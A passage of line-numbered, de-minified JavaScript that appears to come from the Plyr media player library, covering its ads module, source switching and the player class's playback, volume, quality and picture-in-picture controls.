| 4796 |
value: function () { |
| 4797 |
var e = this, |
| 4798 |
t = this.player.elements.container; |
| 4799 |
this.managerPromise || this.resumeContent(), |
| 4800 |
this.managerPromise |
| 4801 |
.then(function () { |
| 4802 |
e.elements.displayContainer.initialize(); |
| 4803 |
try { |
| 4804 |
e.initialized || |
| 4805 |
(e.manager.init( |
| 4806 |
t.offsetWidth, |
| 4807 |
t.offsetHeight, |
| 4808 |
google.ima.ViewMode.NORMAL |
| 4809 |
), |
| 4810 |
e.manager.start()), |
| 4811 |
(e.initialized = !0); |
| 4812 |
} catch (t) { |
| 4813 |
e.onAdError(t); |
| 4814 |
} |
| 4815 |
}) |
| 4816 |
.catch(function () {}); |
| 4817 |
}, |
| 4818 |
}, |
| 4819 |
{ |
| 4820 |
key: "resumeContent", |
| 4821 |
value: function () { |
| 4822 |
(this.elements.container.style.zIndex = ""), |
| 4823 |
(this.playing = !1), |
| 4824 |
this.player.currentTime < this.player.duration && |
| 4825 |
this.player.play(); |
| 4826 |
}, |
| 4827 |
}, |
| 4828 |
{ |
| 4829 |
key: "pauseContent", |
| 4830 |
value: function () { |
| 4831 |
(this.elements.container.style.zIndex = 3), |
| 4832 |
(this.playing = !0), |
| 4833 |
this.player.pause(); |
| 4834 |
}, |
| 4835 |
}, |
| 4836 |
{ |
| 4837 |
key: "cancel", |
| 4838 |
value: function () { |
| 4839 |
this.initialized && this.resumeContent(), |
| 4840 |
this.trigger("error"), |
| 4841 |
this.loadAds(); |
| 4842 |
}, |
| 4843 |
}, |
| 4844 |
{ |
| 4845 |
key: "loadAds", |
| 4846 |
value: function () { |
| 4847 |
var e = this; |
| 4848 |
this.managerPromise |
| 4849 |
.then(function () { |
| 4850 |
e.manager && e.manager.destroy(), |
| 4851 |
(e.managerPromise = new Promise(function (t) { |
| 4852 |
e.on("loaded", t), e.player.debug.log(e.manager); |
| 4853 |
})), |
| 4854 |
e.requestAds(); |
| 4855 |
}) |
| 4856 |
.catch(function () {}); |
| 4857 |
}, |
| 4858 |
}, |
| 4859 |
{ |
| 4860 |
key: "trigger", |
| 4861 |
value: function (e) { |
| 4862 |
for ( |
| 4863 |
var t = this, |
| 4864 |
n = arguments.length, |
| 4865 |
i = new Array(n > 1 ? n - 1 : 0), |
| 4866 |
a = 1; |
| 4867 |
a < n; |
| 4868 |
a++ |
| 4869 |
) |
| 4870 |
i[a - 1] = arguments[a]; |
| 4871 |
var s = this.events[e]; |
| 4872 |
m.array(s) && |
| 4873 |
s.forEach(function (e) { |
| 4874 |
m.function(e) && e.apply(t, i); |
| 4875 |
}); |
| 4876 |
}, |
| 4877 |
}, |
| 4878 |
{ |
| 4879 |
key: "on", |
| 4880 |
value: function (e, t) { |
| 4881 |
return ( |
| 4882 |
m.array(this.events[e]) || (this.events[e] = []), |
| 4883 |
this.events[e].push(t), |
| 4884 |
this |
| 4885 |
); |
| 4886 |
}, |
| 4887 |
}, |
| 4888 |
{ |
| 4889 |
key: "startSafetyTimer", |
| 4890 |
value: function (e, t) { |
| 4891 |
var n = this; |
| 4892 |
this.player.debug.log("Safety timer invoked from: ".concat(t)), |
| 4893 |
(this.safetyTimer = setTimeout(function () { |
| 4894 |
n.cancel(), n.clearSafetyTimer("startSafetyTimer()"); |
| 4895 |
}, e)); |
| 4896 |
}, |
| 4897 |
}, |
| 4898 |
{ |
| 4899 |
key: "clearSafetyTimer", |
| 4900 |
value: function (e) { |
| 4901 |
m.nullOrUndefined(this.safetyTimer) || |
| 4902 |
(this.player.debug.log( |
| 4903 |
"Safety timer cleared from: ".concat(e) |
| 4904 |
), |
| 4905 |
clearTimeout(this.safetyTimer), |
| 4906 |
(this.safetyTimer = null)); |
| 4907 |
}, |
| 4908 |
}, |
| 4909 |
{ |
| 4910 |
key: "enabled", |
| 4911 |
get: function () { |
| 4912 |
return ( |
| 4913 |
this.player.isHTML5 && |
| 4914 |
this.player.isVideo && |
| 4915 |
this.player.config.ads.enabled && |
| 4916 |
!m.empty(this.publisherId) |
| 4917 |
); |
| 4918 |
}, |
| 4919 |
}, |
| 4920 |
{ |
| 4921 |
key: "tagUrl", |
| 4922 |
get: function () { |
| 4923 |
var e = { |
| 4924 |
AV_PUBLISHERID: "58c25bb0073ef448b1087ad6", |
| 4925 |
AV_CHANNELID: "5a0458dc28a06145e4519d21", |
| 4926 |
AV_URL: window.location.hostname, |
| 4927 |
cb: Date.now(), |
| 4928 |
AV_WIDTH: 640, |
| 4929 |
AV_HEIGHT: 480, |
| 4930 |
AV_CDIM2: this.publisherId, |
| 4931 |
}; |
| 4932 |
return "" |
| 4933 |
.concat("https://go.aniview.com/api/adserver6/vast/", "?") |
| 4934 |
.concat(de(e)); |
| 4935 |
}, |
| 4936 |
}, |
| 4937 |
]), |
| 4938 |
t |
| 4939 |
); |
| 4940 |
})(), |
| 4941 |
qe = { |
| 4942 |
insertElements: function (e, t) { |
| 4943 |
var n = this; |
| 4944 |
m.string(t) |
| 4945 |
? E(e, this.media, { src: t }) |
| 4946 |
: m.array(t) && |
| 4947 |
t.forEach(function (t) { |
| 4948 |
E(e, n.media, t); |
| 4949 |
}); |
| 4950 |
}, |
| 4951 |
change: function (e) { |
| 4952 |
var t = this; |
| 4953 |
Y(e, "sources.length") |
| 4954 |
? (z.cancelRequests.call(this), |
| 4955 |
this.destroy.call( |
| 4956 |
this, |
| 4957 |
function () { |
| 4958 |
(t.options.quality = []), |
| 4959 |
P(t.media), |
| 4960 |
(t.media = null), |
| 4961 |
m.element(t.elements.container) && |
| 4962 |
t.elements.container.removeAttribute("class"); |
| 4963 |
var n = e.sources, |
| 4964 |
i = e.type, |
| 4965 |
s = a(n, 1)[0], |
| 4966 |
o = s.provider, |
| 4967 |
r = void 0 === o ? ge.html5 : o, |
| 4968 |
l = s.src, |
| 4969 |
c = "html5" === r ? i : "div", |
| 4970 |
u = "html5" === r ? {} : { src: l }; |
| 4971 |
Object.assign(t, { |
| 4972 |
provider: r, |
| 4973 |
type: i, |
| 4974 |
supported: W.check(i, r, t.config.playsinline), |
| 4975 |
media: A(c, u), |
| 4976 |
}), |
| 4977 |
t.elements.container.appendChild(t.media), |
| 4978 |
m.boolean(e.autoplay) && (t.config.autoplay = e.autoplay), |
| 4979 |
t.isHTML5 && |
| 4980 |
(t.config.crossorigin && |
| 4981 |
t.media.setAttribute("crossorigin", ""), |
| 4982 |
t.config.autoplay && t.media.setAttribute("autoplay", ""), |
| 4983 |
m.empty(e.poster) || (t.poster = e.poster), |
| 4984 |
t.config.loop.active && t.media.setAttribute("loop", ""), |
| 4985 |
t.config.muted && t.media.setAttribute("muted", ""), |
| 4986 |
t.config.playsinline && |
| 4987 |
t.media.setAttribute("playsinline", "")), |
| 4988 |
Ee.addStyleHook.call(t), |
| 4989 |
t.isHTML5 && qe.insertElements.call(t, "source", n), |
| 4990 |
(t.config.title = e.title), |
| 4991 |
je.setup.call(t), |
| 4992 |
t.isHTML5 && |
| 4993 |
Object.keys(e).includes("tracks") && |
| 4994 |
qe.insertElements.call(t, "track", e.tracks), |
| 4995 |
(t.isHTML5 || (t.isEmbed && !t.supported.ui)) && |
| 4996 |
Ee.build.call(t), |
| 4997 |
t.isHTML5 && t.media.load(), |
| 4998 |
t.fullscreen.update(); |
| 4999 |
}, |
| 5000 |
!0 |
| 5001 |
)) |
| 5002 |
: this.debug.warn("Invalid source format"); |
| 5003 |
}, |
| 5004 |
}, |
| 5005 |
Re = (function () { |
| 5006 |
function t(n, i) { |
| 5007 |
var a = this; |
| 5008 |
if ( |
| 5009 |
(e(this, t), |
| 5010 |
(this.timers = {}), |
| 5011 |
(this.ready = !1), |
| 5012 |
(this.loading = !1), |
| 5013 |
(this.failed = !1), |
| 5014 |
(this.touch = W.touch), |
| 5015 |
(this.media = n), |
| 5016 |
m.string(this.media) && |
| 5017 |
(this.media = document.querySelectorAll(this.media)), |
| 5018 |
((window.jQuery && this.media instanceof jQuery) || |
| 5019 |
m.nodeList(this.media) || |
| 5020 |
m.array(this.media)) && |
| 5021 |
(this.media = this.media[0]), |
| 5022 |
(this.config = J( |
| 5023 |
{}, |
| 5024 |
pe, |
| 5025 |
t.defaults, |
| 5026 |
i || {}, |
| 5027 |
(function () { |
| 5028 |
try { |
| 5029 |
return JSON.parse(a.media.getAttribute("data-plyr-config")); |
| 5030 |
} catch (e) { |
| 5031 |
return {}; |
| 5032 |
} |
| 5033 |
})() |
| 5034 |
)), |
| 5035 |
(this.elements = { |
| 5036 |
container: null, |
| 5037 |
captions: null, |
| 5038 |
buttons: {}, |
| 5039 |
display: {}, |
| 5040 |
progress: {}, |
| 5041 |
inputs: {}, |
| 5042 |
settings: { popup: null, menu: null, panels: {}, buttons: {} }, |
| 5043 |
}), |
| 5044 |
(this.captions = { |
| 5045 |
active: null, |
| 5046 |
currentTrack: -1, |
| 5047 |
meta: new WeakMap(), |
| 5048 |
}), |
| 5049 |
(this.fullscreen = { active: !1 }), |
| 5050 |
(this.options = { speed: [], quality: [] }), |
| 5051 |
(this.debug = new be(this.config.debug)), |
| 5052 |
this.debug.log("Config", this.config), |
| 5053 |
this.debug.log("Support", W), |
| 5054 |
!m.nullOrUndefined(this.media) && m.element(this.media)) |
| 5055 |
) |
| 5056 |
if (this.media.plyr) this.debug.warn("Target already setup"); |
| 5057 |
else if (this.config.enabled) |
| 5058 |
if (W.check().api) { |
| 5059 |
var s = this.media.cloneNode(!0); |
| 5060 |
(s.autoplay = !1), (this.elements.original = s); |
| 5061 |
var o = this.media.tagName.toLowerCase(), |
| 5062 |
r = null, |
| 5063 |
l = null; |
| 5064 |
switch (o) { |
| 5065 |
case "div": |
| 5066 |
if ( |
| 5067 |
((r = this.media.querySelector("iframe")), m.element(r)) |
| 5068 |
) { |
| 5069 |
if ( |
| 5070 |
((l = ue(r.getAttribute("src"))), |
| 5071 |
(this.provider = (function (e) { |
| 5072 |
return /^(https?:\/\/)?(www\.)?(youtube\.com|youtu\.?be)\/.+$/.test( |
| 5073 |
e |
| 5074 |
) |
| 5075 |
? ge.youtube |
| 5076 |
: /^https?:\/\/player.vimeo.com\/video\/\d{0,9}(?=\b|\/)/.test( |
| 5077 |
e |
| 5078 |
) |
| 5079 |
? ge.vimeo |
| 5080 |
: null; |
| 5081 |
})(l.toString())), |
| 5082 |
(this.elements.container = this.media), |
| 5083 |
(this.media = r), |
| 5084 |
(this.elements.container.className = ""), |
| 5085 |
l.search.length) |
| 5086 |
) { |
| 5087 |
var c = ["1", "true"]; |
| 5088 |
c.includes(l.searchParams.get("autoplay")) && |
| 5089 |
(this.config.autoplay = !0), |
| 5090 |
c.includes(l.searchParams.get("loop")) && |
| 5091 |
(this.config.loop.active = !0), |
| 5092 |
this.isYouTube |
| 5093 |
? ((this.config.playsinline = c.includes( |
| 5094 |
l.searchParams.get("playsinline") |
| 5095 |
)), |
| 5096 |
(this.config.hl = l.searchParams.get("hl"))) |
| 5097 |
: (this.config.playsinline = !0); |
| 5098 |
} |
| 5099 |
} else |
| 5100 |
(this.provider = this.media.getAttribute( |
| 5101 |
this.config.attributes.embed.provider |
| 5102 |
)), |
| 5103 |
this.media.removeAttribute( |
| 5104 |
this.config.attributes.embed.provider |
| 5105 |
); |
| 5106 |
if ( |
| 5107 |
m.empty(this.provider) || |
| 5108 |
!Object.keys(ge).includes(this.provider) |
| 5109 |
) |
| 5110 |
return void this.debug.error( |
| 5111 |
"Setup failed: Invalid provider" |
| 5112 |
); |
| 5113 |
this.type = ye.video; |
| 5114 |
break; |
| 5115 |
case "video": |
| 5116 |
case "audio": |
| 5117 |
(this.type = o), |
| 5118 |
(this.provider = ge.html5), |
| 5119 |
this.media.hasAttribute("crossorigin") && |
| 5120 |
(this.config.crossorigin = !0), |
| 5121 |
this.media.hasAttribute("autoplay") && |
| 5122 |
(this.config.autoplay = !0), |
| 5123 |
(this.media.hasAttribute("playsinline") || |
| 5124 |
this.media.hasAttribute("webkit-playsinline")) && |
| 5125 |
(this.config.playsinline = !0), |
| 5126 |
this.media.hasAttribute("muted") && |
| 5127 |
(this.config.muted = !0), |
| 5128 |
this.media.hasAttribute("loop") && |
| 5129 |
(this.config.loop.active = !0); |
| 5130 |
break; |
| 5131 |
default: |
| 5132 |
return void this.debug.error( |
| 5133 |
"Setup failed: unsupported type" |
| 5134 |
); |
| 5135 |
} |
| 5136 |
(this.supported = W.check( |
| 5137 |
this.type, |
| 5138 |
this.provider, |
| 5139 |
this.config.playsinline |
| 5140 |
)), |
| 5141 |
this.supported.api |
| 5142 |
? ((this.eventListeners = []), |
| 5143 |
(this.listeners = new Pe(this)), |
| 5144 |
(this.storage = new ne(this)), |
| 5145 |
(this.media.plyr = this), |
| 5146 |
m.element(this.elements.container) || |
| 5147 |
((this.elements.container = A("div")), |
| 5148 |
w(this.media, this.elements.container)), |
| 5149 |
Ee.addStyleHook.call(this), |
| 5150 |
je.setup.call(this), |
| 5151 |
this.config.debug && |
| 5152 |
y.call( |
| 5153 |
this, |
| 5154 |
this.elements.container, |
| 5155 |
this.config.events.join(" "), |
| 5156 |
function (e) { |
| 5157 |
a.debug.log("event: ".concat(e.type)); |
| 5158 |
} |
| 5159 |
), |
| 5160 |
(this.isHTML5 || (this.isEmbed && !this.supported.ui)) && |
| 5161 |
Ee.build.call(this), |
| 5162 |
this.listeners.container(), |
| 5163 |
this.listeners.global(), |
| 5164 |
(this.fullscreen = new Te(this)), |
| 5165 |
this.config.ads.enabled && (this.ads = new Oe(this)), |
| 5166 |
this.config.autoplay && this.play(), |
| 5167 |
(this.lastSeekTime = 0)) |
| 5168 |
: this.debug.error("Setup failed: no support"); |
| 5169 |
} else this.debug.error("Setup failed: no support"); |
| 5170 |
else this.debug.error("Setup failed: disabled by config"); |
| 5171 |
else this.debug.error("Setup failed: no suitable element passed"); |
| 5172 |
} |
| 5173 |
return ( |
| 5174 |
n( |
| 5175 |
t, |
| 5176 |
[ |
| 5177 |
{ |
| 5178 |
key: "play", |
| 5179 |
value: function () { |
| 5180 |
return m.function(this.media.play) ? this.media.play() : null; |
| 5181 |
}, |
| 5182 |
}, |
| 5183 |
{ |
| 5184 |
key: "pause", |
| 5185 |
value: function () { |
| 5186 |
this.playing && |
| 5187 |
m.function(this.media.pause) && |
| 5188 |
this.media.pause(); |
| 5189 |
}, |
| 5190 |
}, |
| 5191 |
{ |
| 5192 |
key: "togglePlay", |
| 5193 |
value: function (e) { |
| 5194 |
(m.boolean(e) ? e : !this.playing) |
| 5195 |
? this.play() |
| 5196 |
: this.pause(); |
| 5197 |
}, |
| 5198 |
}, |
| 5199 |
{ |
| 5200 |
key: "stop", |
| 5201 |
value: function () { |
| 5202 |
this.isHTML5 |
| 5203 |
? (this.pause(), this.restart()) |
| 5204 |
: m.function(this.media.stop) && this.media.stop(); |
| 5205 |
}, |
| 5206 |
}, |
| 5207 |
{ |
| 5208 |
key: "restart", |
| 5209 |
value: function () { |
| 5210 |
this.currentTime = 0; |
| 5211 |
}, |
| 5212 |
}, |
| 5213 |
{ |
| 5214 |
key: "rewind", |
| 5215 |
value: function (e) { |
| 5216 |
this.currentTime = |
| 5217 |
this.currentTime - (m.number(e) ? e : this.config.seekTime); |
| 5218 |
}, |
| 5219 |
}, |
| 5220 |
{ |
| 5221 |
key: "forward", |
| 5222 |
value: function (e) { |
| 5223 |
this.currentTime = |
| 5224 |
this.currentTime + (m.number(e) ? e : this.config.seekTime); |
| 5225 |
}, |
| 5226 |
}, |
| 5227 |
{ |
| 5228 |
key: "increaseVolume", |
| 5229 |
value: function (e) { |
| 5230 |
var t = this.media.muted ? 0 : this.volume; |
| 5231 |
this.volume = t + (m.number(e) ? e : 0); |
| 5232 |
}, |
| 5233 |
}, |
| 5234 |
{ |
| 5235 |
key: "decreaseVolume", |
| 5236 |
value: function (e) { |
| 5237 |
this.increaseVolume(-e); |
| 5238 |
}, |
| 5239 |
}, |
| 5240 |
{ |
| 5241 |
key: "toggleCaptions", |
| 5242 |
value: function (e) { |
| 5243 |
he.toggle.call(this, e, !1); |
| 5244 |
}, |
| 5245 |
}, |
| 5246 |
{ |
| 5247 |
key: "airplay", |
| 5248 |
value: function () { |
| 5249 |
W.airplay && this.media.webkitShowPlaybackTargetPicker(); |
| 5250 |
}, |
| 5251 |
}, |
| 5252 |
{ |
| 5253 |
key: "toggleControls", |
| 5254 |
value: function (e) { |
| 5255 |
if (this.supported.ui && !this.isAudio) { |
| 5256 |
var t = x( |
| 5257 |
this.elements.container, |
| 5258 |
this.config.classNames.hideControls |
| 5259 |
), |
| 5260 |
n = void 0 === e ? void 0 : !e, |
| 5261 |
i = L( |
| 5262 |
this.elements.container, |
| 5263 |
this.config.classNames.hideControls, |
| 5264 |
n |
| 5265 |
); |
| 5266 |
if ( |
| 5267 |
(i && |
| 5268 |
this.config.controls.includes("settings") && |
| 5269 |
!m.empty(this.config.settings) && |
| 5270 |
ce.toggleMenu.call(this, !1), |
| 5271 |
i !== t) |
| 5272 |
) { |
| 5273 |
var a = i ? "controlshidden" : "controlsshown"; |
| 5274 |
k.call(this, this.media, a); |
| 5275 |
} |
| 5276 |
return !i; |
| 5277 |
} |
| 5278 |
return !1; |
| 5279 |
}, |
| 5280 |
}, |
| 5281 |
{ |
| 5282 |
key: "on", |
| 5283 |
value: function (e, t) { |
| 5284 |
y.call(this, this.elements.container, e, t); |
| 5285 |
}, |
| 5286 |
}, |
| 5287 |
{ |
| 5288 |
key: "once", |
| 5289 |
value: function (e, t) { |
| 5290 |
b.call(this, this.elements.container, e, t); |
| 5291 |
}, |
| 5292 |
}, |
| 5293 |
{ |
| 5294 |
key: "off", |
| 5295 |
value: function (e, t) { |
| 5296 |
v(this.elements.container, e, t); |
| 5297 |
}, |
| 5298 |
}, |
| 5299 |
{ |
| 5300 |
key: "destroy", |
| 5301 |
value: function (e) { |
| 5302 |
var t = this, |
| 5303 |
n = |
| 5304 |
arguments.length > 1 && |
| 5305 |
void 0 !== arguments[1] && |
| 5306 |
arguments[1]; |
| 5307 |
if (this.ready) { |
| 5308 |
var i = function () { |
| 5309 |
(document.body.style.overflow = ""), |
| 5310 |
(t.embed = null), |
| 5311 |
n |
| 5312 |
? (Object.keys(t.elements).length && |
| 5313 |
(P(t.elements.buttons.play), |
| 5314 |
P(t.elements.captions), |
| 5315 |
P(t.elements.controls), |
| 5316 |
P(t.elements.wrapper), |
| 5317 |
(t.elements.buttons.play = null), |
| 5318 |
(t.elements.captions = null), |
| 5319 |
(t.elements.controls = null), |
| 5320 |
(t.elements.wrapper = null)), |
| 5321 |
m.function(e) && e()) |
| 5322 |
: (function () { |
| 5323 |
this && |
| 5324 |
this.eventListeners && |
| 5325 |
(this.eventListeners.forEach(function (e) { |
| 5326 |
var t = e.element, |
| 5327 |
n = e.type, |
| 5328 |
i = e.callback, |
| 5329 |
a = e.options; |
| 5330 |
t.removeEventListener(n, i, a); |
| 5331 |
}), |
| 5332 |
(this.eventListeners = [])); |
| 5333 |
}.call(t), |
| 5334 |
S(t.elements.original, t.elements.container), |
| 5335 |
k.call(t, t.elements.original, "destroyed", !0), |
| 5336 |
m.function(e) && e.call(t.elements.original), |
| 5337 |
(t.ready = !1), |
| 5338 |
setTimeout(function () { |
| 5339 |
(t.elements = null), (t.media = null); |
| 5340 |
}, 200)); |
| 5341 |
}; |
| 5342 |
this.stop(), |
| 5343 |
this.isHTML5 |
| 5344 |
? (clearTimeout(this.timers.loading), |
| 5345 |
Ee.toggleNativeControls.call(this, !0), |
| 5346 |
i()) |
| 5347 |
: this.isYouTube |
| 5348 |
? (clearInterval(this.timers.buffering), |
| 5349 |
clearInterval(this.timers.playing), |
| 5350 |
null !== this.embed && |
| 5351 |
m.function(this.embed.destroy) && |
| 5352 |
this.embed.destroy(), |
| 5353 |
i()) |
| 5354 |
: this.isVimeo && |
| 5355 |
(null !== this.embed && this.embed.unload().then(i), |
| 5356 |
setTimeout(i, 200)); |
| 5357 |
} |
| 5358 |
}, |
| 5359 |
}, |
| 5360 |
{ |
| 5361 |
key: "supports", |
| 5362 |
value: function (e) { |
| 5363 |
return W.mime.call(this, e); |
| 5364 |
}, |
| 5365 |
}, |
| 5366 |
{ |
| 5367 |
key: "isHTML5", |
| 5368 |
get: function () { |
| 5369 |
return Boolean(this.provider === ge.html5); |
| 5370 |
}, |
| 5371 |
}, |
| 5372 |
{ |
| 5373 |
key: "isEmbed", |
| 5374 |
get: function () { |
| 5375 |
return Boolean(this.isYouTube || this.isVimeo); |
| 5376 |
}, |
| 5377 |
}, |
| 5378 |
{ |
| 5379 |
key: "isYouTube", |
| 5380 |
get: function () { |
| 5381 |
return Boolean(this.provider === ge.youtube); |
| 5382 |
}, |
| 5383 |
}, |
| 5384 |
{ |
| 5385 |
key: "isVimeo", |
| 5386 |
get: function () { |
| 5387 |
return Boolean(this.provider === ge.vimeo); |
| 5388 |
}, |
| 5389 |
}, |
| 5390 |
{ |
| 5391 |
key: "isVideo", |
| 5392 |
get: function () { |
| 5393 |
return Boolean(this.type === ye.video); |
| 5394 |
}, |
| 5395 |
}, |
| 5396 |
{ |
| 5397 |
key: "isAudio", |
| 5398 |
get: function () { |
| 5399 |
return Boolean(this.type === ye.audio); |
| 5400 |
}, |
| 5401 |
}, |
| 5402 |
{ |
| 5403 |
key: "playing", |
| 5404 |
get: function () { |
| 5405 |
return Boolean(this.ready && !this.paused && !this.ended); |
| 5406 |
}, |
| 5407 |
}, |
| 5408 |
{ |
| 5409 |
key: "paused", |
| 5410 |
get: function () { |
| 5411 |
return Boolean(this.media.paused); |
| 5412 |
}, |
| 5413 |
}, |
| 5414 |
{ |
| 5415 |
key: "stopped", |
| 5416 |
get: function () { |
| 5417 |
return Boolean(this.paused && 0 === this.currentTime); |
| 5418 |
}, |
| 5419 |
}, |
| 5420 |
{ |
| 5421 |
key: "ended", |
| 5422 |
get: function () { |
| 5423 |
return Boolean(this.media.ended); |
| 5424 |
}, |
| 5425 |
}, |
| 5426 |
{ |
| 5427 |
key: "currentTime", |
| 5428 |
set: function (e) { |
| 5429 |
if (this.duration) { |
| 5430 |
var t = m.number(e) && e > 0; |
| 5431 |
(this.media.currentTime = t |
| 5432 |
? Math.min(e, this.duration) |
| 5433 |
: 0), |
| 5434 |
this.debug.log( |
| 5435 |
"Seeking to ".concat(this.currentTime, " seconds") |
| 5436 |
); |
| 5437 |
} |
| 5438 |
}, |
| 5439 |
get: function () { |
| 5440 |
return Number(this.media.currentTime); |
| 5441 |
}, |
| 5442 |
}, |
| 5443 |
{ |
| 5444 |
key: "buffered", |
| 5445 |
get: function () { |
| 5446 |
var e = this.media.buffered; |
| 5447 |
return m.number(e) |
| 5448 |
? e |
| 5449 |
: e && e.length && this.duration > 0 |
| 5450 |
? e.end(0) / this.duration |
| 5451 |
: 0; |
| 5452 |
}, |
| 5453 |
}, |
| 5454 |
{ |
| 5455 |
key: "seeking", |
| 5456 |
get: function () { |
| 5457 |
return Boolean(this.media.seeking); |
| 5458 |
}, |
| 5459 |
}, |
| 5460 |
{ |
| 5461 |
key: "duration", |
| 5462 |
get: function () { |
| 5463 |
var e = parseFloat(this.config.duration), |
| 5464 |
t = (this.media || {}).duration, |
| 5465 |
n = m.number(t) && t !== 1 / 0 ? t : 0; |
| 5466 |
return e || n; |
| 5467 |
}, |
| 5468 |
}, |
| 5469 |
{ |
| 5470 |
key: "volume", |
| 5471 |
set: function (e) { |
| 5472 |
var t = e; |
| 5473 |
m.string(t) && (t = Number(t)), |
| 5474 |
m.number(t) || (t = this.storage.get("volume")), |
| 5475 |
m.number(t) || (t = this.config.volume), |
| 5476 |
t > 1 && (t = 1), |
| 5477 |
t < 0 && (t = 0), |
| 5478 |
(this.config.volume = t), |
| 5479 |
(this.media.volume = t), |
| 5480 |
!m.empty(e) && this.muted && t > 0 && (this.muted = !1); |
| 5481 |
}, |
| 5482 |
get: function () { |
| 5483 |
return Number(this.media.volume); |
| 5484 |
}, |
| 5485 |
}, |
| 5486 |
{ |
| 5487 |
key: "muted", |
| 5488 |
set: function (e) { |
| 5489 |
var t = e; |
| 5490 |
m.boolean(t) || (t = this.storage.get("muted")), |
| 5491 |
m.boolean(t) || (t = this.config.muted), |
| 5492 |
(this.config.muted = t), |
| 5493 |
(this.media.muted = t); |
| 5494 |
}, |
| 5495 |
get: function () { |
| 5496 |
return Boolean(this.media.muted); |
| 5497 |
}, |
| 5498 |
}, |
| 5499 |
{ |
| 5500 |
key: "hasAudio", |
| 5501 |
get: function () { |
| 5502 |
return ( |
| 5503 |
!this.isHTML5 || |
| 5504 |
!!this.isAudio || |
| 5505 |
Boolean(this.media.mozHasAudio) || |
| 5506 |
Boolean(this.media.webkitAudioDecodedByteCount) || |
| 5507 |
Boolean( |
| 5508 |
this.media.audioTracks && this.media.audioTracks.length |
| 5509 |
) |
| 5510 |
); |
| 5511 |
}, |
| 5512 |
}, |
| 5513 |
{ |
| 5514 |
key: "speed", |
| 5515 |
set: function (e) { |
| 5516 |
var t = null; |
| 5517 |
m.number(e) && (t = e), |
| 5518 |
m.number(t) || (t = this.storage.get("speed")), |
| 5519 |
m.number(t) || (t = this.config.speed.selected), |
| 5520 |
t < 0.1 && (t = 0.1), |
| 5521 |
t > 2 && (t = 2), |
| 5522 |
this.config.speed.options.includes(t) |
| 5523 |
? ((this.config.speed.selected = t), |
| 5524 |
(this.media.playbackRate = t)) |
| 5525 |
: this.debug.warn("Unsupported speed (".concat(t, ")")); |
| 5526 |
}, |
| 5527 |
get: function () { |
| 5528 |
return Number(this.media.playbackRate); |
| 5529 |
}, |
| 5530 |
}, |
| 5531 |
{ |
| 5532 |
key: "quality", |
| 5533 |
set: function (e) { |
| 5534 |
var t = this.config.quality, |
| 5535 |
n = this.options.quality; |
| 5536 |
if (n.length) { |
| 5537 |
var i = [ |
| 5538 |
!m.empty(e) && Number(e), |
| 5539 |
this.storage.get("quality"), |
| 5540 |
t.selected, |
| 5541 |
t.default, |
| 5542 |
].find(m.number), |
| 5543 |
a = !0; |
| 5544 |
if (!n.includes(i)) { |
| 5545 |
var s = (function (e, t) { |
| 5546 |
return m.array(e) && e.length |
| 5547 |
? e.reduce(function (e, n) { |
| 5548 |
return Math.abs(n - t) < Math.abs(e - t) ? n : e; |
| 5549 |
}) |
| 5550 |
: null; |
| 5551 |
})(n, i); |
| 5552 |
this.debug.warn( |
| 5553 |
"Unsupported quality option: " |
| 5554 |
.concat(i, ", using ") |
| 5555 |
.concat(s, " instead") |
| 5556 |
), |
| 5557 |
(i = s), |
| 5558 |
(a = !1); |
| 5559 |
} |
| 5560 |
(t.selected = i), |
| 5561 |
(this.media.quality = i), |
| 5562 |
a && this.storage.set({ quality: i }); |
| 5563 |
} |
| 5564 |
}, |
| 5565 |
get: function () { |
| 5566 |
return this.media.quality; |
| 5567 |
}, |
| 5568 |
}, |
| 5569 |
{ |
| 5570 |
key: "loop", |
| 5571 |
set: function (e) { |
| 5572 |
var t = m.boolean(e) ? e : this.config.loop.active; |
| 5573 |
(this.config.loop.active = t), (this.media.loop = t); |
| 5574 |
}, |
| 5575 |
get: function () { |
| 5576 |
return Boolean(this.media.loop); |
| 5577 |
}, |
| 5578 |
}, |
| 5579 |
{ |
| 5580 |
key: "source", |
| 5581 |
set: function (e) { |
| 5582 |
qe.change.call(this, e); |
| 5583 |
}, |
| 5584 |
get: function () { |
| 5585 |
return this.media.currentSrc; |
| 5586 |
}, |
| 5587 |
}, |
| 5588 |
{ |
| 5589 |
key: "download", |
| 5590 |
get: function () { |
| 5591 |
var e = this.config.urls.download; |
| 5592 |
return m.url(e) ? e : this.source; |
| 5593 |
}, |
| 5594 |
}, |
| 5595 |
{ |
| 5596 |
key: "poster", |
| 5597 |
set: function (e) { |
| 5598 |
this.isVideo |
| 5599 |
? Ee.setPoster.call(this, e, !1).catch(function () {}) |
| 5600 |
: this.debug.warn("Poster can only be set for video"); |
| 5601 |
}, |
| 5602 |
get: function () { |
| 5603 |
return this.isVideo |
| 5604 |
? this.media.getAttribute("poster") |
| 5605 |
: null; |
| 5606 |
}, |
| 5607 |
}, |
| 5608 |
{ |
| 5609 |
key: "autoplay", |
| 5610 |
set: function (e) { |
| 5611 |
var t = m.boolean(e) ? e : this.config.autoplay; |
| 5612 |
this.config.autoplay = t; |
| 5613 |
}, |
| 5614 |
get: function () { |
| 5615 |
return Boolean(this.config.autoplay); |
| 5616 |
}, |
| 5617 |
}, |
| 5618 |
{ |
| 5619 |
key: "currentTrack", |
| 5620 |
set: function (e) { |
| 5621 |
he.set.call(this, e, !1); |
| 5622 |
}, |
| 5623 |
get: function () { |
| 5624 |
var e = this.captions, |
| 5625 |
t = e.toggled, |
| 5626 |
n = e.currentTrack; |
| 5627 |
return t ? n : -1; |
| 5628 |
}, |
| 5629 |
}, |
| 5630 |
{ |
| 5631 |
key: "language", |
| 5632 |
set: function (e) { |
| 5633 |
he.setLanguage.call(this, e, !1); |
| 5634 |
}, |
| 5635 |
get: function () { |
| 5636 |
return (he.getCurrentTrack.call(this) || {}).language; |
| 5637 |
}, |
| 5638 |
}, |
| 5639 |
{ |
| 5640 |
key: "pip", |
| 5641 |
set: function (e) { |
| 5642 |
if (W.pip) { |
| 5643 |
var t = m.boolean(e) ? e : !this.pip; |
| 5644 |
m.function(this.media.webkitSetPresentationMode) && |
| 5645 |
this.media.webkitSetPresentationMode(t ? me : fe), |
| 5646 |
m.function(this.media.requestPictureInPicture) && |
| 5647 |
(!this.pip && t |
| 5648 |
? this.media.requestPictureInPicture() |
| 5649 |
: this.pip && !t && document.exitPictureInPicture()); |
| 5650 |
} |
| 5651 |
}, |
| 5652 |
get: function () { |
| 5653 |
return W.pip |
| 5654 |
? m.empty(this.media.webkitPresentationMode) |
| 5655 |
? this.media === document.pictureInPictureElement |
